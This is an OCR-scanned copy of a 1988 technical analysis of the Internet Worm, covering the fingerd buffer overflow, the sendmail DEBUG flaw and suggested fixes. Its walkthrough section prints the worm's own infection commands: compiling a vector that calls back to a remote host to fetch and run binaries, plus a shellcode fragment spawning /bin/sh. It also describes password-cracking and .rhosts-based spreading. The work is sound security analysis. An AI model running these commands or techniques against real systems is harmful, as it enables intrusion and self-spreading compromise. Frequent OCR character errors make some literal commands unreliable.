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ABSTRACT
On !.he evening of 2 November 1988, someone infected lhe Internet with a
worm program. That program ex.ploited flaws in utility programs in systems
based on BSD-dcrived versions of UNIX. The Oaws allowed the program to
breClk into those machines and copy itself, thus injecting those systems. This
program eventually spread to lhousands of machines. and disrupted nonnal
acLivitics and Internet connectivity for many days.
This report gives a detailed description of the components of the worm
program---data and functions. It is based on study of two completely indepen-
dent reverse-compilations of the worm and a version disassembled to VAX
assembly language. Almost no source code is given in the paper because of
current concerns about !.he stale of the "immune system" of Internet hosts, but
the description should be detailed enough to allow the reader to understand the
behavior of the program.
The paper contains a review of the security Oaws exploited by the wonn
program, and gives some recommendations on how to eliminate or mitigate
their future usc. The report also includes an analysis of the coding style and
methods used by lhe author(s) of the wonn. and draws some conclusions about
his abilities and intent
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1. Introduction
On the evening of 2 November 1988 the Internet came under attack from within. Some-
time around 6 PM EST, a program was executed on one or more hosts connected to the Internet
This program coUected host, network, and user infonnation, then brokc into other machines
using flaws present in thosc systems' software. After breaking in, the program would replicatc
itself and the replica would also attcmpt to infect other systems. Although the program would
only iftect Sun Microsyslems Sun 3 systems, and VAX™ computers running variants of 4 BSDI
UNIX, the program spread quickly, as did the confusion and consternation of system adminis-
trators and users as they discovered that their systems had been invaded. Although UNIX has
long bcen known to have some security weaknesses (cf. [Ritc79], [Gram84], and [Reid87D, the
scope of the breakins came as a great surprise to almosl everyone.
The program was mysterious 10 users at sites where it appeared. Unusual mes were lcft in
the lusr/tInp directories of some machines, and strange messages appeared in the log mes of
some of the utilities, such as the sendmail mail handling agent. The most noticeable effect,
however, was that systems became more and more loaded with running processes as they
became repeatedly infected. As time went on, some of these machines became so loaded that
they were unable to continue any processing; some machines failed complctely when their swap
space or process tables were exhausted.
By late Wednesday night, personnel at the University of California at Berkeley and at
Massachuselts Institute of Technology had "captured" copies of the program and began to
analyze it People at other sites also began to study lhc program and were developing mcthods
of eradicating it. A common fear was thal the program was somehow Lampering with systcm
resources in a way that could not be readily dctectcd-Lhat while a cure was being sought, sys-
tem files were being alLered or infonnation destroyed. By 5 AM EST Thursday morning, lcss
than 12 hours aftcr the program was first discovered on the network, the Computer Systems
Research Group at Berkeley had developed an interim set of sleps to halt its spread. This
includcd a preliminary patch LO the sendmail mail agent, and thc suggeslion Lo rename one or
both of the C compiler and loader to prevent their use. These suggestions wcre published in
mailing lists and on !he Uscnet, although lheir spread was hampered by syslcms disconnecting
from the Internello auempt a "quaranline."
I BSD is an acronym for Berkeley Software DislribUlion.
® UNrX is a registered trademark of AT&T LaboralOrics.
1M VAX is a Ir:ldeffiark of Digital Ecjuipmenl Corporation.
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By about 7 PM EST Thursday, another simple. effective method of stopping the infection,
without renaming system utilities, was discovered at Purdue and also widely published.
,,;Software patches were posted by the Berkeley group at the same time to mend all the flaws lhat
enabled lhe program to invade systems. All that remained was to analyze the code thai caused
the problems.
On November 8, the National Computer Security Center held a hastily-convened
workshop in Baltimore. The topic of discussion was the program and what it meant to the
Internet community. Who was at that meeting and why they were invited, and the topics dis-
cussed have not yet been made public.2 However, one lhing we know that was decided by mose
present at the meeting was that those present would not distribute copies of lheir reverse-
engineered code to the general public. It was felt that the program exploited too many Httle-
known techniques and that making it generally available would only provide other altackers a
framework to build another such program. Although such a stance is well-intended, it can serve
only as a delaying tactic. As of December 8, I am aware of at least eleven versions of the
decompiled code, and because of the widespread distribution of the binary, I am sure there are
at least ten times that many versions already completed or in progress-the required skills and
tools arc too readily available within the community to believe that only a few groups have the
capability to reconstruct the source codc.
Many system administrators, programmers, and managers are interested in how the pro-
gram managed to establish ilSelf on their systems and spread so quickly These individuals have
a valid interest in seeing the code, especially if they are software vendors. Their intcrest is not
to duplicate the program, but Lo be sure that all the holes used by the program are properly
plugged. Furthennore, examining the code may help adminisLrators and vendors develop
defenses against future attacks, despite the claims to the contrary by some of the individuals
with copies of the reverse-engineered code.
This report is intended to serve an inLerim role in this process. It is a detailed description
of how the program works, but does not provide source code that could be used to crcate a new
worm program. As such, this should be an aid to those individuals seeking a better understand-
ing of how the code worked, yet it is in such a form that it cannot be used to creale a new wonn
without considerable effort. SecUon 3 and Appendix C contain specific observations about
some of the naws in the sysLem exploited by the program, and their fixes. A companion report,
to be issued in a few weeks, wiil contain a history of the worm's spread through the Internet.
This analysis is the result of a study pcrfonned on three separate reverse-engineered ver-
sions of the wonn code. Two of Lhese versions are in C code, and one in VAX assembler. All
three agree in all but the most minor details. One C version of the code compiles to binary lhat
is identical to the original code, except for minor differences of no significance. From this, I
can conclude with some certainty that if there was only one version of the wonn program,3 then
it was benign in intent. The worm did not write to the file system except when transferring
itself inlo a target sysLem. It also did not Lransmit any informalion from infected systems lO any
site, other than copies of the wonn program itself. Since the Berkcley Computer Syslems
Research Group has already published official fixes to the flaws exploited by the program, we
do not have to worry about these specific aUacks being used again. Many vendors have also
2 I was inviled at !he last moment, bUI was unable to attend. I do not know why I was inviled or how
my name came to the auention of !he organizers.
3 A devious attack would have loosed one version on the nct at !nrge, and then one or more special vcr·
sions on a select set of largel machines. No one has coordinated any eITort 10 compare the vcrsiol15 of the
wonn from diITerent siles, so such a stralagem would have gone unnoticed. The l;ode and the cir-
cumslances make this highly unlikely, bUI the possibility should be nOled if fULUre aLLacks occur.
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issued appropriate patches. It now remains to convince Lhe remaining vendoni to issue fixes.
and users to install them.
2. Terminology
There- seems to be considerable variation in me names applied to the'program described in
this paper. I use the term worm instead of virus based on its behavior. Members of the press .
have used the term virus, possibly because lheir experience to date has been only with that form
of security problem. This usage has been reinforced by quotes from computer managers and
programmers also unfamiliar with lhe terminology. For purposes of clarifying lhe lenninology,
let me define the difference between these two terms and give some citations to their origins:
A worm is a program that can run by itself and can propagate a fully working version of
itself to other machines. It is derived from lhe word tapeworm, a parasitic organism that
lives inside a host and saps its resources to maintain itself.
A virus is a piece of code that adds itself to orner programs, including operating systems.
It cannot run independently-it requires that its "host" program be run to activate it. As
such, it has a clear analog to biological viruses -those viruses are not considered alive in
the usual sense; instead, they invade host cells and corrupt them, causing them [0 produce
new viruses.
The program that was loosed on the Internet was clearly a worm.
2.1. Worms
The concept of a wonn program that spreads itself from machine to machine was
apparently first described by John Brunner in 1975 in his classic science fiction novel The
Shockwave Rider.Brun75 He called these programs tapeworms that lived "inside" the computers
and spread themselves to other machines. In 1979-1981, researchers at Xerox PARC built and
experimented with worm programs. They reported their experiences in an article in 1982 in
Communications of the ACM.Shoc82
The worms built at PARC were designed to travel from machine to machine and do useful
work in a distributed environment. They were not used at that time to break into systems,
although some did "get away" during the tests. A few people seem to prefer to call the Internet
Worm a virus because it was destructive, and they believe wonns are non-destructive. Not
everyone agrees that the Internet Worm was destructive, however. Since intent and effect are
sometimes difficult to judge, using those as a naming criterion is clearly insufficient. As such.
worm continues to be the clear choice to describe lhls kind of program.
2.2. Viruses
The first use of the word virus (to my knowledge) to describe something thal infects a
computer was by David Gerrald in his science fiction short stories about the G.O.D. machine.
These stories were later combined and expanded to ronn the book When Harlie Was One.Gerr72
A subplot in that book described a program named VIRUS created by an unethical sciemist.4 A
computer infected with VIRUS would randomly dial the phone until it found another compUlcr.
It would then break inLo that systcm and infecL it wilh a copy of VIRUS. This program would
infiltrate the system software and slow the system down so much that it became unusable
(except to infect olher machines). The inventor had plans to sell a program named VACCINE
that could cure VIRUS and prevenl infection, bUl disaster occurred when noise on a phone line
4 TIle second edilion of the book. jusL published. has been "updaled" 10 omit this subploL :loom
VIRUS.
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caused VIRUS to mutate so VACCINE ceased to be effective.
The tenn computer virus was first used in a fonnal way by Fred Cohen at USC.Cohe84 He
.-' ~'--define(Hhe' term' W'meanca security-·problcffi. that attaches itself to other code and turns it into
something that produces viruses; La quote from his paper: "We define a computer 'virus' as a
program that"can infecrother programs by modifying them to include'a"possibly evolved copy
of itself." He claimed the first computer virus was "born" on November 3. 1983. wrillen by
himself for a security seminar course.s
The inl.erested reader may also wish to consult [Denn88] and [Dewd85] for further discus-
sion of the tenns.
3. Flaws and Misfeatures
3.1. Specific Problems
The actions of Lhe Internet Worm exposed some specific security flaws in standard services
provided by BSD-derived versions of UNIX. Specific patches for these flaws have been widely
circulated in days since the worm program atlacked the Internet. Those flaws and patches arc
discussed here.
3.1.1. fingerd and gels
The finger program is a utility that allows users to obtain information about other users. It
is usually used to identify the full name or login name of a user, whether or not a user is
currently logged in, and possibly olher information about lhe person such as telephone numbers
where he or she can be reached_ Thefingerd program is intended to run as a daemon, or back-
ground process, to service remote requests using the finger protocol.HIlIT77
The bug exploited to breakfingerd involved overrunning the buffer the daemon used for
input. The standard C library has a few routines that read input without checking for bounds on
the buffer involved. In particular, the gets call takes input 10 a buffer without doing any bounds
checking; this was lhe call exploited by the Worm.
The gets routine is not the only routine with this flaw. The family of routines
scanflfscanflsscanf may also overrun buffers when decoding input unless the user explicitly
specifies limits on the number of characters to be converted. Incautious use of the sprintf rou-
tine can overrun buffers. Use of the strcatlstrcpy calls instead of the srrncatlstrncpy routines
may also overflow their buffers.
Although experienced C programmers arc aware of the problems with these routines, they
continue to use them. Worse, their format is in some sense codified not only by historical inclu-
sion in UNIX and the C language, but more formally in the forthcoming ANSI language stan·
dard for C. The hazard with these calls is that any network server or privileged program using
them may possibly be compromised by careful precalculation of the (in)appropriate input.
An important step in removing this hazard would be first to develop a set of replacement
calls that accept values for bounds on their program-supplied buffer arguments. Next, all sys-
tem servers and privileged applications should be examined for unchecked uses of [he original
calls, with those calls then being replaced by the new bounded versions. Note lhal this audit
has already been performed by the group at Berkeley; only lhe fingerd and timed servers used
the gets call, and palches to fingerd have already been posted. Appendix C contains a new
S Il is probably a coincidence thal the Internet Worm was loosed on November 2. l.he eve of !.his "birth-
day."
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version of jingerd wrinen specifically for this report that may be used to replace the original
version. This version makes no calls to gels.
3.1.2. Sendmail
The sendmail program is a mailer designed to roulemail in a heterogeneous
internetwork.Allm83 The program operates in a number of modes. but the onc of most imerest is
when it is operating as a daemon process. In this mode, the program is "listening" on a TCP
port (#25) for attempts to deliver mail using standard Internet promcols, principally SMTP
(Simple Mail Transfer Protocol).PosL82 When such a request is detected. the daemon enters into
a dialog with the remote mailer to detennine sender. recipienl, delivery inslfUcLions, and mes-
sage conlents.
The bug exploited in sendmail had to do wiLh funclionalily provided by a debugging
oplion in the code. The Worm would issue the DEBUG command to sendmail and then specify
a set of commands instead of a user address as the recipient of the message. Normally, this is
not allowed, but it is present in the debugging code to allow testers to verify that mail is arriv-
ing at a particular site without the need to activate Lhe address resolution routines. The debug
option of sendmail is often used because of the complexity of conliguring the mailcr for local
conditions, and many vendors·and site administrators leave the debug option compiled in.
The sendmail program is of immense imponance on most Berkeley-derived (and other)
UNIX systems because it handles lhe complex tasks of mail routing and delivery. Yet, despite
its importance and wide-spread use, most system administrators know little about how it works.
Stories are often related about how system administrators will attempt to write new device
drivers or otherwise modify the kernel of lhe OS, yet they will not willingly attempt to modify
sendmail or its configuration files.
It is little wonder, then, Lhat bugs are present in sendmail that allow unexpected behavior.
Other flaws have been found and reported now that allention has been focused on the program,
but it is not known for sure if all the bugs havc been discovered and all the patches circulated.
One,obvious approach would be to dispose of sendmail and develop a simpler program to.
handle mail. Actually, for purposes of verification, developing a suile of cooperating programs
would be a better approach, and more aligned with the UNIX philosophy. In effcct, sendmail is
fundamentally flawed, not because of anything related to funclion, but because it is too complex
and difficult to understand.6
The Berkeley Computer Systems Research Group has a new version (5.61) of sendmail
with many bug fixes and patches for security flaws. This version of sendmail is available for
FTP from the host "ucbarpa.berkeley.edu" and will be present in the file
-ftp/pub/sendmail.tar.Z after 12 December 1988. System administrators are strongly
encouraged to retrieve and install this updated version of sendmail since it contains fixes to
potential security flaws other than the one exploited by lhe Internet Worm.
Note that this new version is shipped with the DEBUG option disabled by default. How-
ever, this does not help,system administrators who wish to enable the DEBUG option, although
the researchers at Berkeley believe they have fixed all the security flaws inherent in that facility.
One approach that could be taken with the program would be to have jt prompt the user for the
password of the super user (root) when the DEBUG command is given. A static password
should never· be compiled into the program because this would mean that the same password
6·Nole that a widely used alternative to sendmail, MMDF, is also viewed as too complex and large by
mMy users. Further. it is nOl perceived to be as flexible as scndmail if it is necessary to establish special
addressing Md handling rules when bridging heterogeneous networks.
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might be present at multiple sites and seldom changed.
For those sites without access to FrP or otherwise unable to obtain the new version, the
·'official patches to scndmail version 5.59 arc enclosed in Appendix D. Sites running versions of
sendmail prior to 5.59 should make every elTon to obtain the new version.
3.2. Other Problems
Allhaugh the Worm exploited flaws in only two server programs, its behavior has served
to illustrate a few fundamental problems lhat have nOl yet been widely addressed. In the interest
of promoting better security, some of these problems arc discussed here. TIle intcrcs[Cd reader
is directed to works such as [Gram84] for a broader discussion of related issues.
3.2.1. Servers in general
A security naw not exploited by the Worm, but now becoming obvious, is that many sys-
tem services have configuration and command files owned by a common uscrid. Programs like
sendmail, thc at service, and orner facilities are often all owned by the same non-user id. This
means that if it is possible to abuse one of thc services, it might be possible to abuse many.
One way to deal with the general problem is have every daemon and subsystem run with a
separate userid. That way, the command and data files for each subsystem could be protected in
such a way that only that subsystem could have write (and perhaps read) access to the liles.
This is effectively an implementation of the principle of least privilege. Allhough doing this
might add an exlra dozen user ids to lhe system, it is a small cost to pay, and is already sup-
poned in the UNIX paradigm. Services that should have separate ids include sendmail, news, at,
fmgcr, ftp, uucp and YP.
3.2.2. Passwords
A key attack of the Worm program involved attemplS to discover user passwords. It was
able to determine success because lhe encrypted password? of each user was in a publicly·
readable file. This allows an attacker to encryptlislS of possible passwords and then compare
them against the actual passwords without passing lhrough any system function. In effect, the
security of the passwords is provided in large part by thc prohibitive effort of trying all combi-
nations of tellers. Unfortunately, as machines get faster, Lhe cost of such allemplS decreases.
Dividing the task among multiple processors further reduces the time needed to decrypt a pass-
word. It is currently feasible to use a supercomputer La precalculate all probablc8 passwords and
store thcm on optical media. Although not (currently) portable, this scheme would allow some-
onc with the appropriate resources access to any account for which they could read the password
field and then consult their database of pre-cncrypted passwords. As the density of storage
media increases, this problem will only get more severe.
A clear approach to reducing thc'risk of such attacks, and an approach that has already
been taken in some varianlS of UNIX, would be to have a shadow password file. The encrypted
passwords are saved in a me that is readable only by the system administrators, 'and a privileged
call performs password encryptions and comparisons with an appropriate delay (.5 to 1 second,
for instance). This would prevent any altempt to "fish" for passwords. Additionally, a thres-
hold could be included to chcck for repeated password auemplS from the same process, resulting
7 Slriclly speaking, the password is not encrypted. A block of zero bits is repeatedly encrypled using
the user password, and the results of this encryption is what is saved. Sec [Morr79l for more details.
8 Such a list would likely include all words in the dictionary, the reverse of all such words, and a large
collection of proper names.
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in some form of a(ann being raised. Shadow password files should be used in combination with
encryption ramer than in place of such techniques, however, or one problem is simply replaced
by a diJTerent one; -the combination of the two methods is stronger than either one alone.
Another way to strengthen the password mechanism would be [Q change the utility [11m
sets user passwords;~ The utility currently makes minimal attempt to ensure'that new'passwords
are nontrivial [0 guess. The program could be strengthened in such a way that it would reject
any choice of a word cumoUy in the on~linc dictionary or based on the account name.
4. High-Level Description of the Worm
This section contains a high-level overview of how lhe wonn program functions. The
description in this section assumes that the reader is familiar wilh standard UNIX commands and
somewhat familiar with network facilities under UNIX. Section 5 describes the individual func-
tions and structures in more detail.
The worm consists of two parts: a main program, and a booLStrap or vector program
(described in Appendix B). We will start this description from the point at which a host is
about to be infected. At this point, a worm running on another machine has either succeeded in
establishing a shell on the new host and has connected back to the infecting machine via a TCP
coIUlcction, or it has connected to the SMTP port and is-transmitting to the sendrnail program.
The infection proceedcd as follows:
1) A socket was established on the infecting machine for the vector program to COIUlect to
(e.g., socket number 32341). A challenge string was constructed from a random number
(e.g.• 8712440). A file name base was also constructed using a random number (e.g.,
14481910).
2) The vector program was installed and executed using one of two methods:
2a) Across a TCP cOIUlection to a shell, the worm would send the following commands
(the two lines beginning with "cc" were sent as a single line):
PATH=/bin:/usr/bin:/usr/ucb
cd lusr/tmp
echo gorch49; sed 'lint zz/q' > x14481910.ciecho gorchSO
[text of vector program-enclosed in Appendix B]
int zz;
cc -0 x1448l910 x14481910.c; ./x14481910 128.32.134.16 32341 8712440;
rm -f x14481910 x14481910.c;echo DONE
Then it would wait for the string "DONE" to signal that the vector program was
running.
2b) Using the SMTP connection, it would transmit (the two lines beginning with "cc"








[text of vector program-enclosed in Appendix B]
EQF
cc -0 x14481910 x1448191D.c;x1448191D 128.32.134.16 32341 8712440;
rm -f x14481910 x14481910.c
quit
The infecting worm would then wail [or up to 2 minutes on the designated port for the
vector to contact it.
3) The vector program then connected to the "server," sent the challenge string, and
Lransferred lhree files: a Sun 3 binary version of the worm, a VAX version, and the source
code for the vector program. After the files were copied, the running vector program
became (via the excel call) a shell with ilS input and oUlpm still connected to the server
worm.
4) The server womi sent the following command stream to the connected shell:
PATH=/bin:/usr/bin:/usr/ucb
rm -f sh






Then, for each binary file it had transfcrred (just two in this case, alLhough the code is
written to allow marc), it would scnd the following fonn of command sequence:
cc -0 $P x14481910,sun3.o
./$P -p $$ x14481910,sun3.0 x14481910,vax.o x14481910,11.c
rm -f $p
The"rm would succeed only if the linked version of the wonn failed to stan execulion. If
the server determined that the host was now infected, it closed the connection. Otherwise,
it would try lhc other binary file. After both binary files had been tried, it would send over
rm commands for the object files to clear away all evidence of the attempt at infection.
5) The new worm on the infected host proceeded to "hide" itself by obscuring its argwnent
vector, unlinking the binary version of itself, and killing its parent (the $$ argument in the
invocation):· It· then read into memory each of the wom binary files, ;encrypted each file
after reading it, and deleted the files from disk.
6) Next, the new worm gathered infomation about network interfaces and hosts to which the
local machine was connected. It built lists of these in memory, including infonnation
about canonical and alternate names and addresses. It garnered some of this infonnation
·9·
by making direct ioctl calls, and by running the netstal program with various arguments.
It also read lhrough various system files looking for host names to add to its database.
7) It randomized the lists it constructed, then attempted to infect some of those hosts. For
direcUy connected networks, it created a list of possible host numbers and attempted to
infect lhose hosts if they existed. Depending on the type of host (gateway or local net·
work), the wonn first tried to establish a connection on the tclne! or rexec ports to deter-
mine reachability before it attempted onc of the infection methods.
8) The infection attempts proceeded by one of three routes: rsh, fjngerd, or sendmail.
8a) The attack via rsh was done by allempling to spawn a remote shell by invocation of
(in order of trial) lusr/ucb/rsh, /usrlbin/rsh, and /bin/rsh. If successful, lhe host was
infected as in steps 1 and 2a, above.
8b) The altaek via lhe finger daemon was somewhat more subtle. A connection was
established to the remote finger server daemon and lhen a specially constructed
string of 536 bytes was passed to the daemon, overflowing its input bu(fer and
overwriting pans of the stack. For standard 4 BSD versions running on VAX com-
puters, the overOow resulted in the return stack frame for the main roUline being
changed so that the return address pointed into lhe buffer on the stack. The instruc-
tions that were written into the stack at that location were:
pushl $68732f I fsh\O'








That is, the code ex.ecuted when the main routine attempted to return was:
execve("/bin/sh", 0, 0)
On VAXen, this resulted in the wonn connected to a remote shell via me TCP con-
nection. The wonn then proceeded to infect the host as in steps 1 and 2a, above.
On Suns, this simply resulted in a core me since the code was not in place to corrupt
a Sun version of fingerd in a similar fashion.
8c) The worm then tried to infect the remote host by establishing a connection lO the
SMTP port and mailing an infection, as in step 2b, above.
Not all the steps were attempted. As soon as one method succeeded, lhe host entry in the inter-
nallist was marked as infected and the other methods were not attempted.
9) Next, it entered a state machine consisting of five states. Each state was run for a shan
while, then the program looped back to step #7 (attempting to break into other hosts via
sendmail, finger, or rsh). The nrst four of the nve states were attempts to break into user
accounts on the local machine. The fifth state was the nnal Slate, and occurred after all
.attempts had°been made La 'break 'all passwords. In the fiflh state,· the worm looped forever
trying to infect hosts in its internal tables and marked as not yet infected. The first four
states were:
9a) The wonn read through the lerclllOsts.equiv HIes and I.rhosts files to find the names
of equivalent hosts. These were marked in the internal table of hosts. Next, the
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worm read the letclpasswd file imo an internal data stfUCrurc. As it was doing this. it
also examined the forward fLle in each user home directory and included those host
names in. its imemal table of hosts to try. Oddly, it did not similarly check user
.rhosts files.
9b) The worm attempted to break each user password using simple choices. The worm
first checked the obvious case of no password. Then, it used the account name and
GECOS field to try simple passwords. Assume that the user had an cOlry in the
password file like:
accountabcedfghijklm:lOO:5:User, Name:/usr/accQunt/bin/sh
then the words tried as potential passwords would be account, accountaccount, User,
Name, user, name, and tnuocca. These arc, respectively, !.he account name, the
account name concatenated with itself, the first and last names of the user, the user
names with leading capiml leuers rurned to lower case, and the account name
fCversed. Experience described in[Gram84] indicates that on systems where users
are naive about password security, lhese choices may work for up to 30% of user
passwords.
Step 10 in this section describes what was done if a password "hit" was achieved.
9c) The third stage in the process involved trying to break lhe password of each user by
trying cach word present in an internal dictionary of words (see Appendix I). This
dictionary of 432 words was tricd against each account in a random order, with
"hits" being handled as described in step 10, below.
9d) The fourth stage waS entered if all other attempts failed. For each word in the file
/usr/dict/words, the wonn would see ir it was the password to any account. In addi~
tion, if the word in the dictionary began with an upper case letter, the letter was con-
verted to lower case and that word was also tried against all the passwords.
10) Once a password was broken for any account, the worm would attempt to break into
remote machines where that user had accounts. The worm would scan the fonvard and
.rhosts files of the user at this point, and identify the names of remote hosts that had
accounts used by the target user. It then attempted two attacks:
lOa) The worm would first attempt to create a remote shell using the rexec9 service. The
attempt would be made using the account name given in the forward or .rhosts file
and the user's local password. This took advantage of the fact that users often have
the same password on their accounts on multiple machines.
lOb) The worm would do a rexec to the current host (using the local user name and pass-
word) and would try a rsh command to the remote host using the usemame taken
from the file. This allack would succeed in those cases where the remote machine
had a hosts.equiv file or the user had a .rJlOsts file that allowed remote execution
without a password.
If the remote shell was created either way, the attack would continue as in steps I and 2a,
above. No other use was made of the user password.
Throughout the execution of the main loop, lhe worm would check for other worms run-
ning on the same machine. To do this, the wonn would attempt to colUlect to another worm on
a local, predetermined TCP socket-lO If such a colUlcction succeeded, one worm would
9 re:u:c is a remale command execution service. It requircs that a usemamc/password combination be
supplied as part of the requcsL
to This was compiled in as porI number 23357, on host 127.0.0.1 Ooapback).
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(randomly) set its pleasequit variable to I, causing that worm La exit after it had reached pan
way into the third stage (9c) of password cracking. This delay is pan of the reason many sys-
tems had multiple· worms running: even though a worm.would check for other local worms, it
would defer its self-destruction until significant cfIon had been made to break local passwords.
One out of every seven worms would become immortal rather lhan check for mhcr local
worms. This was probably done to defeat any at[Cmpt to pm a fake worm process on the TCP
port La kill existing worms. IL also cOlllribuLed to the load of a machine once infected.
The worm attempted to send an UDP packet to the host emic.bcrkclcy.edull approxi-
mately once every 15 infections, based on a random number comparison. The code to do this
was incorrect, however, and no information was ever sent. Whether lhis was the intended ruse
or whether there was acrually some reason for the byte to be sent is nO[ currently known. How-
ever, the code is such that an uninitialized byte is the intended mcssagc. It is possible that the
author eventually intended to run some monltoring program on ernie (after breaking into an
account, perhaps). Such a program could obtain the sending host number from thc single-bytc
message, whcthcr it was sent as a TCP or UDP packet However, no evidence for such a pro-
gram has been found and it is possible that the connection was simply a feint to cast suspicion
on personnel at Berkeley.
The worm would also fork itsclf on a regular basis and kill its parem. This served two
purposes. First, the worm appeared to keep changing its process id and no single process accu-
mulated excessive amounts of cpu lime. Secondly, processes that have been running for a long
time have their priority downgraded by the scheduler. By forking, the new process would
regain normal scheduling priority. This mechanism did not always work correctly, eilher, as we
locally observed some instances of the worm Wilh over 600 seconds of accumulated cpu time.
If the worm ran for more lhan 12 hours, it would nush its hOSllisl of all emries nagged as
being immune or already infected. The way hosts were added to this list implies that a single
worm might reinfecl the same machines every 12 hours.
5. A Tour of the Worm
The [allowing is a brief, high-level description of the routines present in the Worm code.
The description covers all the signi (kant functionality of the program, but does not describe all
the auxiliary routines used nor does it describe all the parameters or algorithms involved. It
should. however. give the user a complete view of how the Worm functioned.
5.1. Data Structures
The Worm had a few global data structures worth mentioning. Additionally, the way it
handled some local data is of interest.
5.1.1. Host list
The Worm constructed a linked list of host records. Each record contained an array of 12
character pointers to allow storage of up to 12 host names/aliases. Each record also contained
an array of six long unsigned integers for host addresses. and each record contained a flag field.
The only flag bits used in the code appear to be OxOI (host was a gateway), Ox2 (host has been
infected), Ox4 (host cannot be infected - not reachable, not UNIX. wrong machine type), and
OxS (host was "equivalent" in the sensc lbal il appeared in a context like .rhosts file).
11 Using TCP porI 11357 on hOSll28.32.137.t3.
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5.1.2. Gateway List
The Worm constructed a simple array of gateway IP addresses through the use of the sys-
. tern netstat command: :·These addresses were used to infect direclly connected networks. The
use of the list is described in the explanation of scan_gateways and rE_inic. below.
5.1.3. Interfaces list
An array of records was filled in wilh information about each network interface active on
the current hOSL This included the name of the imerface, the outgoing address, the nelmask, the
destination host if !:he link was point-to·point12• and the interface flags. Interestingly, although
this rominc was coded [0 get the address of lhe hOSl on the remote end of poim-to-poinllinks.
no use seems to have been made of that information anywhere else in Ule program.
5.1.4. Pwd
A linked list of records was builL to hold user information. Each structure held the
account name, the encrypted password, lhe home directory, the GECOS field, and a link to the
next record. A blank field was also allocated for decrypted passwords as they were found.
5.1.5. objects
The program maintained an array of "objects" that held the mes that composed the
Worm. Rather than have the liles stored on disk, the program read the files into these internal
structures. Each record in the list contained the suffix of the lile name (e.g., ··su03.0' '), the size
of the lile, and the encrypted contents of the file. The use of this structure is described below.
5.1.6. Words
A mini-dictionary of words was present in the Worm to usc in password guessing (see
Appendix A). The words were slored in an array, and every word was masked (XQR) with the
bit pattern Ox80. Thus, the dictionary would not show up with an invocation of the strings pro-
gram on the binary or object files.
5.1.7. Embedded Strings
Every text string used by the program, except for the words in the mini-dictionary, was
masked (XQR) with the bit pattern Ox81. Every time a string was referenced, it was referenced
via a call to XS. The XS function decrypted the requested string in a static circular buffer and
returned a pointer to the decrypted version. This also kept any of the text smngs in the program
from appearing during an invocation of strings. Simply clearing the high order bit (e.g., XOR
Ox80) or displaying the program binary would not produce intelligible text. All references to
XS have been omitted from the following text; realize that every string was so encrypted.
It is not evident how the strings were placed in the program in this manner. The masked
strings were present inline in the code, so some preprocessor or a modified version of the com-
piler was likely used. This represents a- significant effort by the author of the Worm, and sug-
gests quite strongly that the author wanted to complicate or prevent the analysis of the program
once it was discovered.
5.2. Routines
The descriptions given here,are.arranged in alphabetic order. The names of some routines
are exactly as used by the author of the code. Other names arc based on the function of the rou-
tine. and those names were chosen because the original routines were declared static and name
infonnation was not present in the object files.
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If the reader wishes to trace the functional now of the Worm, begin willi the descriptions
of routines main and doH (presented first for this reason). By function, the routines can be
(arbitrarily) grouped as follows:
setup and utility: main, doil, crypt, h_addaddr, h3ddname. h_addr2host. h_clean,
h_name2host; iCinit. loadobjecl. makemagic, netmaskfof, permute, ·n_init. supports_fsh,
and supports_lelnel.
network & password uttacks: auack_nctwork, anack_uscf, crack_D, crack_I, crack_2.
crack_3. cracksome, hat hg, hi, hl, huI, infect, scan~ateways. sendWonn. try_fingerd,
try_password. lIY_rsh. lTy_sendmail, and waithiL.
camouflage: chcckothCf, other_sleep, send_message, and xorbuf.
5.2.1. main
This was where the program started. The first thing it did was change its argument vector
to make it look like it was the shell ruming. Ncxt, it set its resource limits SO a failure would
not drop a core file. Then it loaded aU the files named on the command line into the object
structure in memory using calls to toadobjeet. If the [J.e file was not one of the objects loaded.
the Worm would immediately.call exit.
Next, the code unlinked all the object files. the file named sh (the Wonn iLSeH), and Lhe
file /tmp/.dumb (apparently a remnant of some earlier version of the program, possibly used as a
restraint or log during testing-the file is not otherwise referenced). The program then finished
zeroing out the argument vector.
Next. the code would call if init; if no imerfaces were discovered by that routine, the
program would call exit. The program would then get its current process group. If the process
group was the same as its parent process id (passed on the command line), it would- reset its
process group and send a KILL signal to its parent.
Last of all, the routine doit was invoked.
5.2.2. doit
This was the main Wonn code. Fim. a variable was set [0 the current time with a call to
time. and .the random- number-generator was initialized with the return value.
Next. the routines hg and ht were invoked to infect some hosts. If one or both of these
failed to infect any hosts, the routine ha was invoked.
Next, the routine eheekother was called to sec if other Worms were on this host The rou-
tine sendJnessage was also called to cast suspicion on the folks at BeIkeley.13 The code then
entered an infinite loop:
A call would be made to craeksome followed by a call to other31eep with a parameter of
30. Then eracksome would be called again. At this point, the process would fork itself.
and the parent would exit. leaving the child to continue.
Next, the routines hg, ha, and hi would all be called to infect other hosts. If anyone (or
combination) of these routines failed La infect a new host, the routine hi would be called to
infect a local host Thus, the code was aggressive about always infecting at least one host
each, pass through this loop. The logic here was faulty, however-, because if all known
gateway hoslS were infected, or a bad set of host numbers were tried in ha, this code
would call hi every time through the loop. Such behavior was one of the reasons hosts
13 As if some of Ihem arcn'l sU'lpieious enough!
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became overloaded with Wonn processes: every pass through the loop, each Worm would
likely be forced [Q infect anoLber local host. Considering that muHiple Worms could run
'-, on a host for some time before one. would exit, this could lead to an exponenlial growth of
Worms in a LAN environmcm.
Next, the routine ocher_sleep was called with a timeout of 120.. Acheck'was then made [Q
see if Lhe Worm had run ror more than 12 hours. If so, a call was made to h_clean.
Finally. a check was made of the pleaseqflit and nextw variables (set in other_sleep or
checkolher, and crack 2. respectively). If pLeaseql~itwas nonzero, and nextw was greater
than 10, the Wonn would exit.
5.2.3. attack network
This rouline was designed to inrecl random hos[S on a subnet. First, for each of the net-
work interraces, if checkcd to see if the target host was on a network to which mc current host
was directly connected. If so, the routine immediately retumed.14
Based on the class of the netrnask (e.g., Class A, Class B), me code constructed a list of
likely network numbers. A special algorilhm was used to make good guesses at pOlenliaI Class
A host· numbers. All thesc.constructcd host numbers were placed in a list, and the list was then
randomized using permute. If the nctwork was Class B, the permutation was done to favor
low-numbered hosts by doing two separate permutations-the first six hosts in the output list
were guaranteed lo be chosen from the first dozen (low-numbered) host numbers generated.
The first 20 entries in the permuted list were the only ones examined. For each such IF
address, its enlry was retrieved from the global list of hosts (if it was in the list). If the host
was in the list and was marked as already infected or immune, it was ignored. Otherwisc, a
check was made to see if the host supported the rsh command (identifying it as existing and
having BSD-derivcd networking services) by calling supports rsh. If the host did support rsh,
it was entered into the hosts list if not already present, and a call to infect was made for that
host
